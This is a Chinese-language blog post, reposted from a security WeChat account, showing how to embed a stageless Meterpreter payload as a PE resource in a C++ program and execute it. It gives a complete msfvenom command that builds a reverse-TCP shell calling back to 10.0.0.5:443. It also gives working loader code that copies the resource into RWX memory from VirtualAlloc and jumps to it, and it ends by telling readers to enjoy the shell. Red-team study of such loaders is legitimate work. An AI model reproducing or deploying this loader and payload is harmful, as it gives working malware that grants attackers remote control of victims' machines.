从 PE 资源加载并执行 Shellcode

admin 2024年10月10日22:10:14评论13 views字数 1223阅读4分4秒阅读模式

从 PE 资源加载并执行 Shellcode

本实验展示了一种如何使用 Visual Studio 使用 PE 资源从 C 程序中加载和执行非分段 shellcode 的技术。

如果您曾经尝试从 C/C++ 程序执行未暂存的 shellcode,您就会知道,如果您定义一个如下所示的巨大 char 数组(只是一个片段),那么您将很难做到这一点:

从 PE 资源加载并执行 Shellcode

将 Shellcode 作为资源嵌入

让我们首先生成二进制格式的非分阶段 meterpreter 有效负载。这将是我们想要嵌入到 C++ 程序中的资源:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.0.5 LPORT=443 > meterpreter.bin

右键单击Resource Files解决方案资源管理器中的 并选择Add > Resource

从 PE 资源加载并执行 Shellcode

单击Import并选择您要包含的资源。就我而言 - 是meterpreter.bin:

从 PE 资源加载并执行 Shellcode

给资源一个资源类型名称 - 任何都可以,但在调用 API 调用时需要记住它FindResource(稍后在代码中显示):

从 PE 资源加载并执行 Shellcode

此时,您可以在资源浏览器中看到该文件meterpreter.bin现已包含在程序的资源中:

从 PE 资源加载并执行 Shellcode

从 PE 资源加载并执行 Shellcode

如果您现在编译程序并使用资源编辑器进行检查,您现在可以看到您刚刚嵌入的资源

从 PE 资源加载并执行 Shellcode

代码

然后,我们可以利用一小组自解释的Windows API来查找嵌入的资源,将其加载到内存中,并执行它,如下所示:

#include "pch.h"#include <iostream>#include <Windows.h>#include "resource.h"int main(){  // IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode  // METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin  HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");  DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);  HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);  void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  memcpy(exec, shellcodeResouceData, shellcodeSize);  ((void(*)())exec)();  return  0;}

编译并运行该二进制文件,享受Shell的使用。

从 PE 资源加载并执行 Shellcode

原文始发于微信公众号(Ots安全):从 PE 资源加载并执行 Shellcode

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日22:10:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从 PE 资源加载并执行 Shellcodehttps://cn-sec.com/archives/1921655.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息